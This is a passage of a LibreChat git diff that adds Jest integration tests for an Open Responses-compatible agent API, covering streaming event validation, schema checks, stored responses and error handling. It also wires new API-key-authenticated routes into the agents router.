+ for (const line of lines) {
+ if (line.startsWith('event:')) {
+ currentEvent = line.slice(6).trim();
+ } else if (line.startsWith('data:')) {
+ currentData = line.slice(5).trim();
+ } else if (line === '' && currentData) {
+ if (currentData === '[DONE]') {
+ events.push({ event: 'done', data: '[DONE]' });
+ } else {
+ try {
+ const parsed = JSON.parse(currentData);
+ events.push({
+ event: currentEvent || parsed.type || 'unknown',
+ data: parsed,
+ });
+ } catch {
+ // Skip unparseable data
+ }
+ }
+ currentEvent = '';
+ currentData = '';
+ }
+ }
+
+ return events;
+}
+
+/**
+ * Valid streaming event types per Open Responses specification
+ * @see https://github.com/openresponses/openresponses/blob/main/src/lib/sse-parser.ts
+ */
+const VALID_STREAMING_EVENT_TYPES = new Set([
+ // Standard Open Responses events
+ 'response.created',
+ 'response.queued',
+ 'response.in_progress',
+ 'response.completed',
+ 'response.failed',
+ 'response.incomplete',
+ 'response.output_item.added',
+ 'response.output_item.done',
+ 'response.content_part.added',
+ 'response.content_part.done',
+ 'response.output_text.delta',
+ 'response.output_text.done',
+ 'response.refusal.delta',
+ 'response.refusal.done',
+ 'response.function_call_arguments.delta',
+ 'response.function_call_arguments.done',
+ 'response.reasoning_summary_part.added',
+ 'response.reasoning_summary_part.done',
+ 'response.reasoning.delta',
+ 'response.reasoning.done',
+ 'response.reasoning_summary_text.delta',
+ 'response.reasoning_summary_text.done',
+ 'response.output_text.annotation.added',
+ 'error',
+ // LibreChat extension events (prefixed per Open Responses spec)
+ // @see https://openresponses.org/specification#extending-streaming-events
+ 'librechat:attachment',
+]);
+
+/**
+ * Validate a streaming event against Open Responses spec
+ * @param {Object} event - Parsed event with data
+ * @returns {string[]} Array of validation errors
+ */
+function validateStreamingEvent(event) {
+ const errors = [];
+ const data = event.data;
+
+ if (!data || typeof data !== 'object') {
+ return errors; // Skip non-object data (e.g., [DONE])
+ }
+
+ const eventType = data.type;
+
+ // Check event type is valid
+ if (!VALID_STREAMING_EVENT_TYPES.has(eventType)) {
+ errors.push(`Invalid event type: ${eventType}`);
+ return errors;
+ }
+
+ // Validate required fields based on event type
+ switch (eventType) {
+ case 'response.output_text.delta':
+ if (typeof data.sequence_number !== 'number') {
+ errors.push('response.output_text.delta: missing sequence_number');
+ }
+ if (typeof data.item_id !== 'string') {
+ errors.push('response.output_text.delta: missing item_id');
+ }
+ if (typeof data.output_index !== 'number') {
+ errors.push('response.output_text.delta: missing output_index');
+ }
+ if (typeof data.content_index !== 'number') {
+ errors.push('response.output_text.delta: missing content_index');
+ }
+ if (typeof data.delta !== 'string') {
+ errors.push('response.output_text.delta: missing delta');
+ }
+ if (!Array.isArray(data.logprobs)) {
+ errors.push('response.output_text.delta: missing logprobs array');
+ }
+ break;
+
+ case 'response.output_text.done':
+ if (typeof data.sequence_number !== 'number') {
+ errors.push('response.output_text.done: missing sequence_number');
+ }
+ if (typeof data.item_id !== 'string') {
+ errors.push('response.output_text.done: missing item_id');
+ }
+ if (typeof data.output_index !== 'number') {
+ errors.push('response.output_text.done: missing output_index');
+ }
+ if (typeof data.content_index !== 'number') {
+ errors.push('response.output_text.done: missing content_index');
+ }
+ if (typeof data.text !== 'string') {
+ errors.push('response.output_text.done: missing text');
+ }
+ if (!Array.isArray(data.logprobs)) {
+ errors.push('response.output_text.done: missing logprobs array');
+ }
+ break;
+
+ case 'response.reasoning.delta':
+ if (typeof data.sequence_number !== 'number') {
+ errors.push('response.reasoning.delta: missing sequence_number');
+ }
+ if (typeof data.item_id !== 'string') {
+ errors.push('response.reasoning.delta: missing item_id');
+ }
+ if (typeof data.output_index !== 'number') {
+ errors.push('response.reasoning.delta: missing output_index');
+ }
+ if (typeof data.content_index !== 'number') {
+ errors.push('response.reasoning.delta: missing content_index');
+ }
+ if (typeof data.delta !== 'string') {
+ errors.push('response.reasoning.delta: missing delta');
+ }
+ break;
+
+ case 'response.reasoning.done':
+ if (typeof data.sequence_number !== 'number') {
+ errors.push('response.reasoning.done: missing sequence_number');
+ }
+ if (typeof data.item_id !== 'string') {
+ errors.push('response.reasoning.done: missing item_id');
+ }
+ if (typeof data.output_index !== 'number') {
+ errors.push('response.reasoning.done: missing output_index');
+ }
+ if (typeof data.content_index !== 'number') {
+ errors.push('response.reasoning.done: missing content_index');
+ }
+ if (typeof data.text !== 'string') {
+ errors.push('response.reasoning.done: missing text');
+ }
+ break;
+
+ case 'response.in_progress':
+ case 'response.completed':
+ case 'response.failed':
+ if (!data.response || typeof data.response !== 'object') {
+ errors.push(`${eventType}: missing response object`);
+ }
+ break;
+
+ case 'response.output_item.added':
+ case 'response.output_item.done':
+ if (typeof data.output_index !== 'number') {
+ errors.push(`${eventType}: missing output_index`);
+ }
+ if (!data.item || typeof data.item !== 'object') {
+ errors.push(`${eventType}: missing item object`);
+ }
+ break;
+ }
+
+ return errors;
+}
+
+/**
+ * Validate all streaming events and return errors
+ * @param {Array} events - Array of parsed events
+ * @returns {string[]} Array of all validation errors
+ */
+function validateAllStreamingEvents(events) {
+ const allErrors = [];
+ for (const event of events) {
+ const errors = validateStreamingEvent(event);
+ allErrors.push(...errors);
+ }
+ return allErrors;
+}
+
+/**
+ * Create a test agent with Anthropic provider
+ * @param {Object} overrides
+ * @returns {Promise}
+ */
+async function createTestAgent(overrides = {}) {
+ const timestamp = new Date();
+ const agentData = {
+ id: `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`,
+ name: 'Test Anthropic Agent',
+ description: 'An agent for testing Open Responses API',
+ instructions: 'You are a helpful assistant. Be concise.',
+ provider: EModelEndpoint.anthropic,
+ model: 'claude-sonnet-4-5-20250929',
+ author: new mongoose.Types.ObjectId(),
+ tools: [],
+ model_parameters: {},
+ ...overrides,
+ };
+
+ const versionData = { ...agentData };
+ delete versionData.author;
+
+ const initialAgentData = {
+ ...agentData,
+ versions: [
+ {
+ ...versionData,
+ createdAt: timestamp,
+ updatedAt: timestamp,
+ },
+ ],
+ category: 'general',
+ };
+
+ return (await Agent.create(initialAgentData)).toObject();
+}
+
+/**
+ * Create an agent with extended thinking enabled
+ * @param {Object} overrides
+ * @returns {Promise}
+ */
+async function createThinkingAgent(overrides = {}) {
+ return createTestAgent({
+ name: 'Test Thinking Agent',
+ description: 'An agent with extended thinking enabled',
+ model_parameters: {
+ thinking: {
+ type: 'enabled',
+ budget_tokens: 5000,
+ },
+ },
+ ...overrides,
+ });
+}
+
+const describeWithApiKey = SKIP_INTEGRATION_TESTS ? describe.skip : describe;
+
+describeWithApiKey('Open Responses API Integration Tests', () => {
+ // Increase timeout for real API calls
+ jest.setTimeout(120000);
+
+ let mongoServer;
+ let app;
+ let testAgent;
+ let thinkingAgent;
+ let testUser;
+ let testApiKey; // The raw API key for Authorization header
+
+ afterAll(() => {
+ process.env.CREDS_KEY = originalEnv.CREDS_KEY;
+ process.env.CREDS_IV = originalEnv.CREDS_IV;
+ });
+
+ beforeAll(async () => {
+ // Start MongoDB Memory Server
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+
+ // Connect to MongoDB
+ await mongoose.connect(mongoUri);
+
+ // Register all models
+ const models = createModels(mongoose);
+
+ // Get models
+ Agent = models.Agent;
+ AgentApiKey = models.AgentApiKey;
+ User = models.User;
+ AclEntry = models.AclEntry;
+ AccessRole = models.AccessRole;
+
+ // Create minimal Express app with just the responses routes
+ app = express();
+ app.use(express.json());
+
+ // Mount the responses routes
+ const responsesRoutes = require('~/server/routes/agents/responses');
+ app.use('/api/agents/v1/responses', responsesRoutes);
+
+ // Create test user
+ testUser = await User.create({
+ name: 'Test API User',
+ username: 'testapiuser',
+ email: 'testapiuser@test.com',
+ emailVerified: true,
+ provider: 'local',
+ role: SystemRoles.ADMIN,
+ });
+
+ // Create REMOTE_AGENT access roles (if they don't exist)
+ const existingRoles = await AccessRole.find({
+ accessRoleId: {
+ $in: [
+ AccessRoleIds.REMOTE_AGENT_VIEWER,
+ AccessRoleIds.REMOTE_AGENT_EDITOR,
+ AccessRoleIds.REMOTE_AGENT_OWNER,
+ ],
+ },
+ });
+
+ if (existingRoles.length === 0) {
+ await AccessRole.create([
+ {
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_VIEWER,
+ name: 'API Viewer',
+ description: 'Can query the agent via API',
+ resourceType: ResourceType.REMOTE_AGENT,
+ permBits: PermissionBits.VIEW,
+ },
+ {
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_EDITOR,
+ name: 'API Editor',
+ description: 'Can view and modify the agent via API',
+ resourceType: ResourceType.REMOTE_AGENT,
+ permBits: PermissionBits.VIEW | PermissionBits.EDIT,
+ },
+ {
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER,
+ name: 'API Owner',
+ description: 'Full API access + can grant remote access to others',
+ resourceType: ResourceType.REMOTE_AGENT,
+ permBits:
+ PermissionBits.VIEW |
+ PermissionBits.EDIT |
+ PermissionBits.DELETE |
+ PermissionBits.SHARE,
+ },
+ ]);
+ }
+
+ // Generate and create an API key for the test user
+ const rawKey = `sk-${await getRandomValues(32)}`;
+ const keyHash = await hashToken(rawKey);
+ const keyPrefix = rawKey.substring(0, 8);
+
+ await AgentApiKey.create({
+ userId: testUser._id,
+ name: 'Test API Key',
+ keyHash,
+ keyPrefix,
+ });
+
+ testApiKey = rawKey;
+
+ // Create test agents with the test user as author
+ testAgent = await createTestAgent({ author: testUser._id });
+ thinkingAgent = await createThinkingAgent({ author: testUser._id });
+
+ // Grant REMOTE_AGENT permissions for the test agents
+ await AclEntry.create([
+ {
+ principalType: PrincipalType.USER,
+ principalModel: PrincipalModel.USER,
+ principalId: testUser._id,
+ resourceType: ResourceType.REMOTE_AGENT,
+ resourceId: testAgent._id,
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER,
+ permBits:
+ PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE,
+ },
+ {
+ principalType: PrincipalType.USER,
+ principalModel: PrincipalModel.USER,
+ principalId: testUser._id,
+ resourceType: ResourceType.REMOTE_AGENT,
+ resourceId: thinkingAgent._id,
+ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER,
+ permBits:
+ PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE,
+ },
+ ]);
+ }, 60000);
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ // Clean up any test data between tests if needed
+ });
+
+ /* ===========================================================================
+ * COMPLIANCE TESTS
+ * Based on: https://github.com/openresponses/openresponses/blob/main/src/lib/compliance-tests.ts
+ * =========================================================================== */
+
+ /** Helper to add auth header to requests */
+ const authRequest = () => ({
+ post: (url) => request(app).post(url).set('Authorization', `Bearer ${testApiKey}`),
+ get: (url) => request(app).get(url).set('Authorization', `Bearer ${testApiKey}`),
+ });
+
+ describe('Compliance Tests', () => {
+ describe('basic-response', () => {
+ it('should return a valid ResponseResource for a simple text request', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'Say hello in exactly 3 words.',
+ },
+ ],
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.body).toBeDefined();
+
+ // Validate ResponseResource schema
+ const body = response.body;
+ expect(body.id).toMatch(/^resp_/);
+ expect(body.object).toBe('response');
+ expect(typeof body.created_at).toBe('number');
+ expect(body.status).toBe('completed');
+ expect(body.model).toBe(testAgent.id);
+
+ // Validate output
+ expect(Array.isArray(body.output)).toBe(true);
+ expect(body.output.length).toBeGreaterThan(0);
+
+ // Should have at least one message item
+ const messageItem = body.output.find((item) => item.type === 'message');
+ expect(messageItem).toBeDefined();
+ expect(messageItem.role).toBe('assistant');
+ expect(messageItem.status).toBe('completed');
+ expect(Array.isArray(messageItem.content)).toBe(true);
+ });
+ });
+
+ describe('streaming-response', () => {
+ it('should return valid SSE streaming events', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'Count from 1 to 5.',
+ },
+ ],
+ stream: true,
+ })
+ .buffer(true)
+ .parse((res, callback) => {
+ let data = '';
+ res.on('data', (chunk) => {
+ data += chunk.toString();
+ });
+ res.on('end', () => {
+ callback(null, data);
+ });
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.headers['content-type']).toMatch(/text\/event-stream/);
+
+ const events = parseSSEEvents(response.body);
+ expect(events.length).toBeGreaterThan(0);
+
+ // Validate all streaming events against Open Responses spec
+ // This catches issues like:
+ // - Invalid event types (e.g., response.reasoning_text.delta instead of response.reasoning.delta)
+ // - Missing required fields (e.g., logprobs on output_text events)
+ const validationErrors = validateAllStreamingEvents(events);
+ if (validationErrors.length > 0) {
+ console.error('Streaming event validation errors:', validationErrors);
+ }
+ expect(validationErrors).toEqual([]);
+
+ // Validate streaming event types
+ const eventTypes = events.map((e) => e.event);
+
+ // Should have response.created first (per Open Responses spec)
+ expect(eventTypes).toContain('response.created');
+
+ // Should have response.in_progress
+ expect(eventTypes).toContain('response.in_progress');
+
+ // response.created should come before response.in_progress
+ const createdIdx = eventTypes.indexOf('response.created');
+ const inProgressIdx = eventTypes.indexOf('response.in_progress');
+ expect(createdIdx).toBeLessThan(inProgressIdx);
+
+ // Should have response.completed or response.failed
+ expect(eventTypes.some((t) => t === 'response.completed' || t === 'response.failed')).toBe(
+ true,
+ );
+
+ // Should have [DONE]
+ expect(eventTypes).toContain('done');
+
+ // Validate response.completed has full response
+ const completedEvent = events.find((e) => e.event === 'response.completed');
+ if (completedEvent) {
+ expect(completedEvent.data.response).toBeDefined();
+ expect(completedEvent.data.response.status).toBe('completed');
+ expect(completedEvent.data.response.output.length).toBeGreaterThan(0);
+ }
+ });
+
+ it('should emit valid event types per Open Responses spec', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'Say hi.',
+ },
+ ],
+ stream: true,
+ })
+ .buffer(true)
+ .parse((res, callback) => {
+ let data = '';
+ res.on('data', (chunk) => {
+ data += chunk.toString();
+ });
+ res.on('end', () => {
+ callback(null, data);
+ });
+ });
+
+ expect(response.status).toBe(200);
+
+ const events = parseSSEEvents(response.body);
+
+ // Check all event types are valid
+ for (const event of events) {
+ if (event.data && typeof event.data === 'object' && event.data.type) {
+ expect(VALID_STREAMING_EVENT_TYPES.has(event.data.type)).toBe(true);
+ }
+ }
+ });
+
+ it('should include logprobs array in output_text events', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'Say one word.',
+ },
+ ],
+ stream: true,
+ })
+ .buffer(true)
+ .parse((res, callback) => {
+ let data = '';
+ res.on('data', (chunk) => {
+ data += chunk.toString();
+ });
+ res.on('end', () => {
+ callback(null, data);
+ });
+ });
+
+ expect(response.status).toBe(200);
+
+ const events = parseSSEEvents(response.body);
+
+ // Find output_text delta/done events and verify logprobs
+ const textDeltaEvents = events.filter(
+ (e) => e.data && e.data.type === 'response.output_text.delta',
+ );
+ const textDoneEvents = events.filter(
+ (e) => e.data && e.data.type === 'response.output_text.done',
+ );
+
+ // Should have at least one output_text event
+ expect(textDeltaEvents.length + textDoneEvents.length).toBeGreaterThan(0);
+
+ // All output_text.delta events must have logprobs array
+ for (const event of textDeltaEvents) {
+ expect(Array.isArray(event.data.logprobs)).toBe(true);
+ }
+
+ // All output_text.done events must have logprobs array
+ for (const event of textDoneEvents) {
+ expect(Array.isArray(event.data.logprobs)).toBe(true);
+ }
+ });
+ });
+
+ describe('system-prompt', () => {
+ it('should handle developer role messages in input (as system)', async () => {
+ // Note: For Anthropic, system messages must be first and there can only be one.
+ // Since the agent already has instructions, we use 'developer' role which
+ // gets merged into the system prompt, or we test with a simple user message
+ // that instructs the behavior.
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'Pretend you are a pirate and say hello in pirate speak.',
+ },
+ ],
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.body.status).toBe('completed');
+ expect(response.body.output.length).toBeGreaterThan(0);
+
+ // The response should reflect the pirate persona
+ const messageItem = response.body.output.find((item) => item.type === 'message');
+ expect(messageItem).toBeDefined();
+ expect(messageItem.content.length).toBeGreaterThan(0);
+ });
+ });
+
+ describe('multi-turn', () => {
+ it('should handle multi-turn conversation history', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: testAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'My name is Alice.',
+ },
+ {
+ type: 'message',
+ role: 'assistant',
+ content: 'Hello Alice! Nice to meet you. How can I help you today?',
+ },
+ {
+ type: 'message',
+ role: 'user',
+ content: 'What is my name?',
+ },
+ ],
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.body.status).toBe('completed');
+
+ // The response should reference "Alice"
+ const messageItem = response.body.output.find((item) => item.type === 'message');
+ expect(messageItem).toBeDefined();
+
+ const textContent = messageItem.content.find((c) => c.type === 'output_text');
+ expect(textContent).toBeDefined();
+ expect(textContent.text.toLowerCase()).toContain('alice');
+ });
+ });
+
+ // Note: tool-calling test requires tool setup which may need additional configuration
+ // Note: image-input test requires vision-capable model
+
+ describe('string-input', () => {
+ it('should accept simple string input', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ model: testAgent.id,
+ input: 'Hello!',
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.body.status).toBe('completed');
+ expect(response.body.output.length).toBeGreaterThan(0);
+ });
+ });
+ });
+
+ /* ===========================================================================
+ * EXTENDED THINKING TESTS
+ * Tests reasoning output from Claude models with extended thinking enabled
+ * =========================================================================== */
+
+ describe('Extended Thinking', () => {
+ it('should return reasoning output when thinking is enabled', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: thinkingAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'What is 15 * 7? Think step by step.',
+ },
+ ],
+ });
+
+ expect(response.status).toBe(200);
+ expect(response.body.status).toBe('completed');
+
+ // Check for reasoning item in output
+ const reasoningItem = response.body.output.find((item) => item.type === 'reasoning');
+ // If reasoning is present, validate its structure per Open Responses spec
+ // Note: reasoning items do NOT have a 'status' field per the spec
+ // @see https://github.com/openresponses/openresponses/blob/main/src/generated/kubb/zod/reasoningBodySchema.ts
+ if (reasoningItem) {
+ expect(reasoningItem).toHaveProperty('id');
+ expect(reasoningItem).toHaveProperty('type', 'reasoning');
+ // Note: 'status' is NOT a field on reasoning items per the spec
+ expect(reasoningItem).toHaveProperty('summary');
+ expect(Array.isArray(reasoningItem.summary)).toBe(true);
+
+ // Validate content items
+ if (reasoningItem.content && reasoningItem.content.length > 0) {
+ const reasoningContent = reasoningItem.content[0];
+ expect(reasoningContent).toHaveProperty('type', 'reasoning_text');
+ expect(reasoningContent).toHaveProperty('text');
+ }
+ }
+
+ const messageItem = response.body.output.find((item) => item.type === 'message');
+ expect(messageItem).toBeDefined();
+ });
+
+ it('should stream reasoning events when thinking is enabled', async () => {
+ const response = await authRequest()
+ .post('/api/agents/v1/responses')
+ .send({
+ model: thinkingAgent.id,
+ input: [
+ {
+ type: 'message',
+ role: 'user',
+ content: 'What is 12 + 8? Think step by step.',
+ },
+ ],
+ stream: true,
+ })
+ .buffer(true)
+ .parse((res, callback) => {
+ let data = '';
+ res.on('data', (chunk) => {
+ data += chunk.toString();
+ });
+ res.on('end', () => {
+ callback(null, data);
+ });
+ });
+
+ expect(response.status).toBe(200);
+
+ const events = parseSSEEvents(response.body);
+
+ // Validate all events against Open Responses spec
+ const validationErrors = validateAllStreamingEvents(events);
+ if (validationErrors.length > 0) {
+ console.error('Reasoning streaming event validation errors:', validationErrors);
+ }
+ expect(validationErrors).toEqual([]);
+
+ // Check for reasoning-related events using correct event types per Open Responses spec
+ // Note: The spec uses response.reasoning.delta NOT response.reasoning_text.delta
+ const reasoningDeltaEvents = events.filter(
+ (e) => e.data && e.data.type === 'response.reasoning.delta',
+ );
+ const reasoningDoneEvents = events.filter(
+ (e) => e.data && e.data.type === 'response.reasoning.done',
+ );
+
+ // If reasoning events are present, validate their structure
+ if (reasoningDeltaEvents.length > 0) {
+ const deltaEvent = reasoningDeltaEvents[0];
+ expect(deltaEvent.data).toHaveProperty('item_id');
+ expect(deltaEvent.data).toHaveProperty('delta');
+ expect(deltaEvent.data).toHaveProperty('output_index');
+ expect(deltaEvent.data).toHaveProperty('content_index');
+ expect(deltaEvent.data).toHaveProperty('sequence_number');
+ }
+
+ if (reasoningDoneEvents.length > 0) {
+ const doneEvent = reasoningDoneEvents[0];
+ expect(doneEvent.data).toHaveProperty('item_id');
+ expect(doneEvent.data).toHaveProperty('text');
+ expect(doneEvent.data).toHaveProperty('output_index');
+ expect(doneEvent.data).toHaveProperty('content_index');
+ expect(doneEvent.data).toHaveProperty('sequence_number');
+ }
+
+ // Verify stream completed properly
+ const eventTypes = events.map((e) => e.event);
+ expect(eventTypes).toContain('response.completed');
+ });
+ });
+
+ /* ===========================================================================
+ * SCHEMA VALIDATION TESTS
+ * Verify response schema compliance
+ * =========================================================================== */
+
+ describe('Schema Validation', () => {
+ it('should include all required fields in response', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ model: testAgent.id,
+ input: 'Test',
+ });
+
+ expect(response.status).toBe(200);
+ const body = response.body;
+
+ // Required fields per Open Responses spec
+ expect(body).toHaveProperty('id');
+ expect(body).toHaveProperty('object', 'response');
+ expect(body).toHaveProperty('created_at');
+ expect(body).toHaveProperty('completed_at');
+ expect(body).toHaveProperty('status');
+ expect(body).toHaveProperty('model');
+ expect(body).toHaveProperty('output');
+ expect(body).toHaveProperty('tools');
+ expect(body).toHaveProperty('tool_choice');
+ expect(body).toHaveProperty('truncation');
+ expect(body).toHaveProperty('parallel_tool_calls');
+ expect(body).toHaveProperty('text');
+ expect(body).toHaveProperty('temperature');
+ expect(body).toHaveProperty('top_p');
+ expect(body).toHaveProperty('presence_penalty');
+ expect(body).toHaveProperty('frequency_penalty');
+ expect(body).toHaveProperty('top_logprobs');
+ expect(body).toHaveProperty('store');
+ expect(body).toHaveProperty('background');
+ expect(body).toHaveProperty('service_tier');
+ expect(body).toHaveProperty('metadata');
+
+ // top_logprobs must be a number (not null)
+ expect(typeof body.top_logprobs).toBe('number');
+
+ // Usage must have required detail fields
+ expect(body).toHaveProperty('usage');
+ expect(body.usage).toHaveProperty('input_tokens');
+ expect(body.usage).toHaveProperty('output_tokens');
+ expect(body.usage).toHaveProperty('total_tokens');
+ expect(body.usage).toHaveProperty('input_tokens_details');
+ expect(body.usage).toHaveProperty('output_tokens_details');
+ expect(body.usage.input_tokens_details).toHaveProperty('cached_tokens');
+ expect(body.usage.output_tokens_details).toHaveProperty('reasoning_tokens');
+ });
+
+ it('should have valid message item structure', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ model: testAgent.id,
+ input: 'Hello',
+ });
+
+ expect(response.status).toBe(200);
+
+ const messageItem = response.body.output.find((item) => item.type === 'message');
+ expect(messageItem).toBeDefined();
+
+ // Message item required fields
+ expect(messageItem).toHaveProperty('type', 'message');
+ expect(messageItem).toHaveProperty('id');
+ expect(messageItem).toHaveProperty('status');
+ expect(messageItem).toHaveProperty('role', 'assistant');
+ expect(messageItem).toHaveProperty('content');
+ expect(Array.isArray(messageItem.content)).toBe(true);
+
+ // Content part structure - verify all required fields
+ if (messageItem.content.length > 0) {
+ const textContent = messageItem.content.find((c) => c.type === 'output_text');
+ if (textContent) {
+ expect(textContent).toHaveProperty('type', 'output_text');
+ expect(textContent).toHaveProperty('text');
+ expect(textContent).toHaveProperty('annotations');
+ expect(textContent).toHaveProperty('logprobs');
+ expect(Array.isArray(textContent.annotations)).toBe(true);
+ expect(Array.isArray(textContent.logprobs)).toBe(true);
+ }
+ }
+
+ // Verify reasoning item has required summary field
+ const reasoningItem = response.body.output.find((item) => item.type === 'reasoning');
+ if (reasoningItem) {
+ expect(reasoningItem).toHaveProperty('type', 'reasoning');
+ expect(reasoningItem).toHaveProperty('id');
+ expect(reasoningItem).toHaveProperty('summary');
+ expect(Array.isArray(reasoningItem.summary)).toBe(true);
+ }
+ });
+ });
+
+ /* ===========================================================================
+ * RESPONSE STORAGE TESTS
+ * Tests for store: true and GET /v1/responses/:id
+ * =========================================================================== */
+
+ describe('Response Storage', () => {
+ it('should store response when store: true and retrieve it', async () => {
+ // Create a stored response
+ const createResponse = await authRequest().post('/api/agents/v1/responses').send({
+ model: testAgent.id,
+ input: 'Remember this: The answer is 42.',
+ store: true,
+ });
+
+ expect(createResponse.status).toBe(200);
+ expect(createResponse.body.status).toBe('completed');
+
+ const responseId = createResponse.body.id;
+ expect(responseId).toMatch(/^resp_/);
+
+ // Small delay to ensure database write completes
+ await new Promise((resolve) => setTimeout(resolve, 500));
+
+ // Retrieve the stored response
+ const getResponseResult = await authRequest().get(`/api/agents/v1/responses/${responseId}`);
+
+ // Note: The response might be stored under conversationId, not responseId
+ // If we get 404, that's expected behavior for now since we store by conversationId
+ if (getResponseResult.status === 200) {
+ expect(getResponseResult.body.object).toBe('response');
+ expect(getResponseResult.body.status).toBe('completed');
+ expect(getResponseResult.body.output.length).toBeGreaterThan(0);
+ }
+ });
+
+ it('should return 404 for non-existent response', async () => {
+ const response = await authRequest().get('/api/agents/v1/responses/resp_nonexistent123');
+
+ expect(response.status).toBe(404);
+ expect(response.body.error).toBeDefined();
+ });
+ });
+
+ /* ===========================================================================
+ * ERROR HANDLING TESTS
+ * =========================================================================== */
+
+ describe('Error Handling', () => {
+ it('should return error for missing model', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ input: 'Hello',
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.error).toBeDefined();
+ });
+
+ it('should return error for missing input', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ model: testAgent.id,
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.error).toBeDefined();
+ });
+
+ it('should return error for non-existent agent', async () => {
+ const response = await authRequest().post('/api/agents/v1/responses').send({
+ model: 'agent_nonexistent123456789',
+ input: 'Hello',
+ });
+
+ expect(response.status).toBe(404);
+ expect(response.body.error).toBeDefined();
+ });
+ });
+
+ /* ===========================================================================
+ * MODELS ENDPOINT TESTS
+ * =========================================================================== */
+
+ describe('GET /v1/responses/models', () => {
+ it('should list available agents as models', async () => {
+ const response = await authRequest().get('/api/agents/v1/responses/models');
+
+ expect(response.status).toBe(200);
+ expect(response.body.object).toBe('list');
+ expect(Array.isArray(response.body.data)).toBe(true);
+
+ // Should include our test agent
+ const foundAgent = response.body.data.find((m) => m.id === testAgent.id);
+ expect(foundAgent).toBeDefined();
+ expect(foundAgent.object).toBe('model');
+ expect(foundAgent.name).toBe(testAgent.name);
+ });
+ });
+});
diff --git a/api/server/routes/agents/index.js b/api/server/routes/agents/index.js
index bf790aeee8..f8d39cb4d8 100644
--- a/api/server/routes/agents/index.js
+++ b/api/server/routes/agents/index.js
@@ -10,6 +10,8 @@ const {
messageUserLimiter,
} = require('~/server/middleware');
const { saveMessage } = require('~/models');
+const openai = require('./openai');
+const responses = require('./responses');
const { v1 } = require('./v1');
const chat = require('./chat');
@@ -17,6 +19,20 @@ const { LIMIT_MESSAGE_IP, LIMIT_MESSAGE_USER } = process.env ?? {};
const router = express.Router();
+/**
+ * Open Responses API routes (API key authentication handled in route file)
+ * Mounted at /agents/v1/responses (full path: /api/agents/v1/responses)
+ * NOTE: Must be mounted BEFORE /v1 to avoid being caught by the less specific route
+ * @see https://openresponses.org/specification
+ */
+router.use('/v1/responses', responses);
+
+/**
+ * OpenAI-compatible API routes (API key authentication handled in route file)
+ * Mounted at /agents/v1 (full path: /api/agents/v1/chat/completions)
+ */
+router.use('/v1', openai);
+
router.use(requireJwtAuth);
router.use(checkBan);
router.use(uaParser);
diff --git a/api/server/routes/agents/openai.js b/api/server/routes/agents/openai.js
new file mode 100644
index 0000000000..9a0d9a3564
--- /dev/null
+++ b/api/server/routes/agents/openai.js
@@ -0,0 +1,110 @@
+/**
+ * OpenAI-compatible API routes for LibreChat agents.
+ *
+ * Provides a /v1/chat/completions compatible interface for
+ * interacting with LibreChat agents remotely via API.
+ *
+ * Usage:
+ * POST /v1/chat/completions - Chat with an agent
+ * GET /v1/models - List available agents
+ * GET /v1/models/:model - Get agent details
+ *
+ * Request format:
+ * {
+ * "model": "agent_id_here",
+ * "messages": [{"role": "user", "content": "Hello!"}],
+ * "stream": true
+ * }
+ */
+const express = require('express');
+const { PermissionTypes, Permissions } = require('librechat-data-provider');
+const {
+ generateCheckAccess,
+ createRequireApiKeyAuth,
+ createCheckRemoteAgentAccess,
+} = require('@librechat/api');
+const {
+ OpenAIChatCompletionController,
+ ListModelsController,
+ GetModelController,
+} = require('~/server/controllers/agents/openai');
+const { getEffectivePermissions } = require('~/server/services/PermissionService');
+const { validateAgentApiKey, findUser } = require('~/models');
+const { configMiddleware } = require('~/server/middleware');
+const { getRoleByName } = require('~/models/Role');
+const { getAgent } = require('~/models/Agent');
+
+const router = express.Router();
+
+const requireApiKeyAuth = createRequireApiKeyAuth({
+ validateAgentApiKey,
+ findUser,
+});
+
+const checkRemoteAgentsFeature = generateCheckAccess({
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
